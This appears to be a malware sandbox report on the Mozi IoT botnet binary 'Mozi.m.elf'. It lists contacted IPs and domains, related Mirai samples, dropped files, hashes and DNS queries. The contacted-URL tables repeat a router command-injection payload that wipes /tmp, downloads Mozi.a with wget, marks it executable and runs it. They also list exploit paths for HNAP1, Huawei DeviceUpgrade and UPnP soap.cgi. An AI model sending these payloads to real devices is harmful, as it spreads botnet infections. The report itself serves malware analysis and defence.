http://40.76.215.58:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://170.65.188.50:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://161.53.19.247:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://89.31.180.157:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://152.79.44.127:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://97.200.254.61:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://131.241.38.205:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
dht.transmissionbt.com	212.129.33.59	true	false	high
router.bittorrent.com	unknown	unknown	false	high
bttracker.debian.org	unknown	unknown	false	high
router.utorrent.com	unknown	unknown	false	high

Name	Malicious	Antivirus Detection	Reputation
http://212.59.33.56:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://12.57.50.133:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://68.146.175.8:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://159.187.57.28:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://212.251.149.126:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://182.253.181.162:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://204.118.69.75:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://173.143.115.27:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://196.117.13.231:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://81.15.115.147:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://171.135.110.34:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://49.33.247.182:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://202.218.205.135:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://79.183.65.108:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://89.176.240.190:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://147.43.49.146:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://93.31.4.225:49152/soap.cgi?service=WANIPConn1	true	Avira URL Cloud: safe	unknown
http://71.123.229.71:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://149.247.149.135:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://95.251.127.79:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://141.97.115.0:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://177.171.143.161:37215/ctrlt/DeviceUpgrade_1	true	Avira URL Cloud: safe	unknown
http://132.222.51.120:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://47.35.112.78:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://46.111.113.5:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://29.139.34.171:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://117.127.243.172:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://51.94.121.88:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://150.55.156.79:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	true	Avira URL Cloud: safe	unknown
http://56.19.188.37:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://90.117.21.100:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://76.227.143.215:49152/soap.cgi?service=WANIPConn1	true	Avira URL Cloud: safe	unknown
http://140.219.139.217:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://175.33.232.251:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	true	Avira URL Cloud: safe	unknown
http://171.205.214.110:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://12.160.75.231:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://9.80.6.139:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://172.27.14.53:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	true	Avira URL Cloud: safe	unknown
http://174.134.196.29:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://5.198.114.62:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://44.53.44.137:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://98.47.138.236:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://188.113.108.36:49152/soap.cgi?service=WANIPConn1	true	Avira URL Cloud: safe	unknown
http://26.69.186.179:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://42.242.241.33:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://37.215.196.232:37215/ctrlt/DeviceUpgrade_1	true	Avira URL Cloud: safe	unknown
http://183.20.224.51:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://193.90.130.102:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://173.47.65.7:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://161.116.19.154:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://117.197.168.185:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://131.224.165.201:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	true	Avira URL Cloud: safe	unknown
http://75.151.1.33:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://114.187.116.66:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://168.58.175.249:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://38.49.191.153:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://134.209.26.23:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://144.168.195.104:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://131.144.235.6:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://99.46.47.140:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://79.172.185.178:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://103.109.37.35:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://136.35.219.150:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://168.214.188.227:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://97.115.167.164:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://51.34.12.149:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://129.185.253.195:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://82.156.21.83:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://105.23.36.67:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://118.58.105.235:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://198.2.111.39:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://129.217.155.177:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://205.122.121.186:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://136.92.167.148:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://221.127.103.77:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://137.11.27.138:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://93.90.43.10:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://179.248.194.46:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://89.34.227.143:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://99.120.59.132:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://193.246.129.53:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://110.11.168.169:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://219.111.191.242:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://206.16.193.183:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://142.82.80.57:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://73.34.189.202:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://157.202.243.234:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://121.19.25.76:49152/soap.cgi?service=WANIPConn1	true	Avira URL Cloud: safe	unknown
http://178.71.74.177:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://222.82.137.124:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://168.156.58.84:80/HNAP1/	false	Avira URL Cloud: safe	unknown
http://40.76.215.58:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://170.65.188.50:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://161.53.19.247:37215/ctrlt/DeviceUpgrade_1	false	Avira URL Cloud: safe	unknown
http://89.31.180.157:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://152.79.44.127:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	Avira URL Cloud: safe	unknown
http://97.200.254.61:49152/soap.cgi?service=WANIPConn1	false	Avira URL Cloud: safe	unknown
http://131.241.38.205:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	true	Avira URL Cloud: safe	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
http://baidu.com/%s/%s/%d/%s/%s/%s/%s)	Mozi.m.elf, networks.14.dr	false		high
http://www.alsa-project.org.	alsa-info.sh.14.dr	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
110.36.29.69	unknown	Pakistan	38264	WATEEN-IMS-PK-AS-APNationalWiMAXIMSenvironmentPK	false
51.202.61.133	unknown	United States	2686	ATGS-MMD-ASUS	false
183.198.167.52	unknown	China	24547	CMNET-V4HEBEI-AS-APHebeiMobileCommunicationCompanyLimit	false
101.242.68.50	unknown	China	17429	BGCTVNETBEIJINGGEHUACATVNETWORKCOLTDCN	false
193.153.78.112	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
69.34.114.139	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
187.58.49.36	unknown	Brazil	18881	TELEFONICABRASILSABR	false
105.20.84.160	unknown	Mauritius	37100	SEACOM-ASMU	false
182.187.67.100	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
146.127.139.105	unknown	United States	6501	SOUTHERNETUS	false
182.156.153.235	unknown	India	55441	TTSLMEIS-AS-APTTSL-ISPDIVISIONIN	false
180.158.197.9	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
86.155.66.64	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
46.220.227.134	unknown	Austria	25255	H3G-AUSTRIA-ASTELE2AUSTRIAAT	false
216.32.171.108	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
194.43.234.70	unknown	United Kingdom	25400	TELIA-NORWAY-ASTeliaNorwayCoreNetworksNO	false
86.15.222.92	unknown	United Kingdom	5089	NTLGB	false
62.138.219.32	unknown	Germany	61157	PLUSSERVER-ASN1DE	false
134.255.106.234	unknown	Hungary	5483	MAGYAR-TELEKOM-MAIN-ASMagyarTelekomNyrtHU	false
88.60.142.37	unknown	Italy	3269	ASN-IBSNAZIT	false
223.62.174.246	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
73.252.155.61	unknown	United States	7922	COMCAST-7922US	false
179.144.246.152	unknown	Brazil	26599	TELEFONICABRASILSABR	false
74.173.33.55	unknown	United States	7018	ATT-INTERNET4US	false
37.22.182.246	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
184.44.53.209	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
223.9.153.184	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
211.25.211.236	unknown	Malaysia	9930	TTNET-MYTIMEdotComBerhadMY	false
2.24.73.8	unknown	United Kingdom	12576	EELtdGB	false
217.145.255.5	unknown	Saudi Arabia	41132	SOL-ASSA	false
117.172.23.189	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
163.71.29.42	unknown	France	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
73.173.112.163	unknown	United States	7922	COMCAST-7922US	false
32.170.3.122	unknown	United States	2686	ATGS-MMD-ASUS	false
51.12.146.189	unknown	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.128.147.105	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
3.50.46.176	unknown	United States	8987	AMAZONEXPANSIONGB	false
66.22.7.28	unknown	United States	48851	RADWAREIL	false
115.45.46.40	unknown	China	17962	TOPWAY-NETShenZhenTopwayVideoCommunicationCoLtdCN	false
209.136.38.120	unknown	United States	23357	CXPUS	false
20.21.184.63	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
39.50.111.115	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
190.226.248.158	unknown	Argentina	264691	ServicoopSAAR	false
19.199.191.82	unknown	United States	3	MIT-GATEWAYSUS	false
107.91.238.166	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
5.203.194.198	unknown	Greece	29247	COSMOTE-GRCosmoteMobileTelecommunicationsSAGR	false
217.171.254.25	unknown	Germany	15866	AS-PEGASUSBayernstrasse10DE	false
188.67.1.111	unknown	Finland	16086	DNAFI	false
145.0.133.100	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
114.68.95.105	unknown	China	23724	CHINANET-IDC-BJ-APIDCChinaTelecommunicationsCorporation	false
149.110.24.27	unknown	United States	174	COGENT-174US	false
171.32.56.75	unknown	Sweden	9874	STARHUB-MOBILEStarHubLtdSG	false
99.221.8.114	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
116.182.116.205	unknown	China	137539	UNICOM-HARBIN-IDCChinaUnicomCN	false
110.93.67.47	unknown	Philippines	45754	CLEARPATH-AS-APClearPathNetworksIncPH	true
167.238.2.60	unknown	United States	36092	CENTENEUS	false
39.235.249.181	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
172.71.119.218	unknown	United States	13335	CLOUDFLARENETUS	false
88.118.198.253	unknown	Lithuania	8764	TELIA-LIETUVALT	false
184.138.242.105	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
207.141.53.197	unknown	United States	7018	ATT-INTERNET4US	false
61.201.68.53	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
92.41.251.101	unknown	United Kingdom	206067	H3GUKGB	false
136.245.122.182	unknown	United States	396484	CITY-OF-ROSEVILLE-CAUS	false
70.108.27.83	unknown	United States	701	UUNETUS	false
193.31.48.98	unknown	Spain	43747	ES-TELEVALENTIN-ASES	false
213.97.72.98	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
195.218.238.79	unknown	Russian Federation	3216	SOVAM-ASRU	false
210.184.197.103	unknown	Hong Kong	9729	IS-APiAdvantageLimitedHK	false
191.115.67.87	unknown	Chile	7418	TELEFONICACHILESACL	false
16.39.62.13	unknown	United States	unknown	unknown	false
220.87.93.125	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
122.107.127.90	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
203.88.139.172	unknown	India	18207	YOU-INDIA-APYOUBroadbandCableIndiaLtdIN	false
74.47.125.177	unknown	United States	7011	FRONTIER-AND-CITIZENSUS	false
170.233.235.100	unknown	Argentina	264741	VIDEOVISIONCENTROSAAR	false
219.102.171.54	unknown	Japan	2514	INFOSPHERENTTPCCommunicationsIncJP	false
195.84.75.196	unknown	Sweden	3246	TDCSONGTele2BusinessTDCSwedenSE	false
172.180.37.129	unknown	United States	7018	ATT-INTERNET4US	false
103.162.253.24	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
77.244.98.180	unknown	Germany	42652	DELUNETDE	false
19.186.73.144	unknown	United States	3	MIT-GATEWAYSUS	false
164.209.192.61	unknown	United States	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
13.198.249.132	unknown	United States	7018	ATT-INTERNET4US	false
12.40.32.152	unknown	United States	7018	ATT-INTERNET4US	false
73.105.70.215	unknown	United States	7922	COMCAST-7922US	false
154.62.73.236	unknown	United States	174	COGENT-174US	false
152.33.196.181	unknown	United States	32417	ELONU-ASUS	false
6.27.159.248	unknown	United States	3356	LEVEL3US	false
122.136.15.31	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
97.166.133.45	unknown	United States	6167	CELLCO-PARTUS	false
126.242.90.116	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
163.221.41.82	unknown	Japan	2500	WIDE-BBWIDEProjectJP	false
153.43.100.151	unknown	United States	62585	MC-NETUS	false
35.41.157.92	unknown	United States	36375	UMICH-AS-5US	false
73.52.189.122	unknown	United States	7922	COMCAST-7922US	false
43.45.168.39	unknown	Japan	4249	LILLY-ASUS	false
107.190.176.201	unknown	United States	6364	ATLANTIC-NET-1US	false
215.87.22.160	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
85.206.52.19	unknown	Lithuania	8764	TELIA-LIETUVALT	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
110.36.29.69	sONB0Lm0pS	Get hash	malicious	Mirai	Browse
134.255.106.234	arm7	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
dht.transmissionbt.com	bin.sh.elf	Get hash	malicious	Mirai	Browse	87.98.162.88
	bin.sh.elf	Get hash	malicious	Mirai	Browse	87.98.162.88
	bin.sh.elf	Get hash	malicious	Mirai	Browse	212.129.33.59
	na.elf	Get hash	malicious	Mirai	Browse	87.98.162.88
	SecuriteInfo.com.Trojan.Crypt.23519.13317.exe	Get hash	malicious	Unknown	Browse	212.129.33.59
	SecuriteInfo.com.Trojan.Crypt.23519.13317.exe	Get hash	malicious	Unknown	Browse	212.129.33.59
	SecuriteInfo.com.Riskware.OfferCore.5002.4698.exe	Get hash	malicious	PrivateLoader	Browse	87.98.162.88
	5d9fe2735d4399d98e6e6a792b1feb26d6f2d9a5d77944ecacb4b4837e5e5fca.zip	Get hash	malicious	Xmrig	Browse	87.98.162.88
	240506-b7lv1sfmcw_pw_infected.zip	Get hash	malicious	Xmrig	Browse	87.98.162.88
	240506-b7lv1sfmcw_pw_infected.zip	Get hash	malicious	Xmrig	Browse	87.98.162.88

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WATEEN-IMS-PK-AS-APNationalWiMAXIMSenvironmentPK	rebirth.m68k.elf	Get hash	malicious	Mirai, Okiru	Browse	110.39.224.247
	xobftuootu.elf	Get hash	malicious	Unknown	Browse	110.37.236.210
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	110.36.193.38
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	110.39.166.129
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	110.39.206.17
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	110.39.21.131
	exe009.exe	Get hash	malicious	Emotet	Browse	58.27.215.3
	nklsh4.elf	Get hash	malicious	Unknown	Browse	110.39.206.22
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	110.39.166.157
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	110.37.189.197
CMNET-V4HEBEI-AS-APHebeiMobileCommunicationCompanyLimit	sora.sh4.elf	Get hash	malicious	Mirai	Browse	183.196.35.128
	bin.sh.elf	Get hash	malicious	Mirai	Browse	183.198.167.74
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	111.63.127.172
	mpsl.elf	Get hash	malicious	Mirai	Browse	120.211.202.161
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	111.62.129.55
	jmggnxeedy.elf	Get hash	malicious	Unknown	Browse	211.143.122.3
	ppc.elf	Get hash	malicious	Mirai	Browse	111.11.59.121
	nklarm5.elf	Get hash	malicious	Unknown	Browse	111.61.227.107
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	120.211.66.31
	yakuza.arm4.elf	Get hash	malicious	Mirai	Browse	183.199.104.209
ATGS-MMD-ASUS	http://prntbl.concejomunicipaldechinu.gov.co	Get hash	malicious	Unknown	Browse	34.160.17.71
	Josho.spc.elf	Get hash	malicious	Unknown	Browse	48.198.48.198
	Josho.arm7.elf	Get hash	malicious	Mirai	Browse	48.151.168.84
	Josho.x86.elf	Get hash	malicious	Unknown	Browse	32.79.71.24
	Josho.sh4.elf	Get hash	malicious	Unknown	Browse	48.133.202.204
	Josho.arm.elf	Get hash	malicious	Unknown	Browse	48.39.84.109
	Josho.m68k.elf	Get hash	malicious	Unknown	Browse	57.224.245.50
	Josho.mips.elf	Get hash	malicious	Unknown	Browse	48.110.156.208
	hax.spc.elf	Get hash	malicious	Mirai	Browse	48.245.146.188
	hax.x86.elf	Get hash	malicious	Mirai	Browse	48.135.190.16

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report Mozi.m.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/boot/grub/i386-pc/modinfo.sh

/etc/acpi/asus-keyboard-backlight.sh

/etc/acpi/asus-wireless.sh

/etc/acpi/ibm-wireless.sh

/etc/acpi/tosh-wireless.sh

/etc/acpi/undock.sh

/etc/console-setup/cached_setup_font.sh

/etc/console-setup/cached_setup_keyboard.sh

/etc/console-setup/cached_setup_terminal.sh

/etc/gdm3/config-error-dialog.sh

/etc/init.d/S95baby.sh

/etc/init.d/console-setup.sh

/etc/init.d/hwclock.sh

/etc/init.d/keyboard-setup.sh

/etc/profile.d/01-locale-fix.sh

/etc/profile.d/Z97-byobu.sh

/etc/profile.d/Z99-cloud-locale-test.sh

/etc/profile.d/Z99-cloudinit-warnings.sh

/etc/profile.d/apps-bin-path.sh

/etc/profile.d/bash_completion.sh

/etc/profile.d/cedilla-portuguese.sh

/etc/profile.d/gawk.sh

/etc/profile.d/im-config_wayland.sh

/etc/profile.d/vte-2.91.sh

/etc/profile.d/xdg_dirs_desktop_session.sh

Linux Analysis Report
Mozi.m.elf

Process:	/tmp/Mozi.m.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.882045108136863
Encrypted:	false
SSDEEP:	3:qXVOORgn:Tn
MD5:	D7BC14787BBF05DEAC1113F4B42B6099
SHA1:	BB0DF86AA88C53CB0E53147B50135113CB15FFFF
SHA-256:	2AB8C8B53D6823D9D4F90CCC40B7BB78C68956FB60D691B4DB241809CD259E01
SHA-512:	810CB49B08A5CF57DA8D5194DC5442B4BA72AD50534FCDA48C0C0815164AED4B23D4F06035390EB596D69A7FBA579C7B3E0FCA1CDE2F81FF23347780770A3D0D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	./usr/networks&.exit 1.

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, missing section headers at 307920
Entropy (8bit):	5.824683494234165
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	Mozi.m.elf
File size:	307'200 bytes
MD5:	9bc075b91bc1088c6e230facc6510824
SHA1:	45e936d0278b04663b9375337b2d21afb44c361f
SHA256:	18e3658c5f62ef2fcd76b0ec25243d979741bf640a76513f121b40a83399a511
SHA512:	036b280a052e19cc5b64b43957b157210814c37c867e1480cce61c9f955d04f341c0001de88752083025f89f07d3147ff6cb65670e9e20291f628d1eb883debb
SSDEEP:	6144:T2s/gAWuboqsJ9xcJxspJBqQgTuaJZRhVabE5wKSDP99zBa77oNsKqqfPqOJ7:T2s/bW+UmJqBxAuaPRhVabEDSDP99zBf
TLSH:	47643A8AFD81AE25D5C122BBFE2F428A331317B8D2EB71129D145F2476CA94F0F7A541
File Content Preview:	.ELF..............(.........4...P.......4. ...(........p............(...(...............................................................8...........................................Q.td..................................-...L..................@-.,@...0....S

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 11, 2024 00:43:23.015583992 CET	192.168.2.23	1.1.1.1	0xa1fb	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:43:23.155900955 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:43:28.156542063 CET	192.168.2.23	8.8.8.8	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:43:33.156929016 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:43:38.159082890 CET	192.168.2.23	1.1.1.1	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:43:38.159133911 CET	192.168.2.23	8.8.8.8	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:43:43.160918951 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:43:43.160936117 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
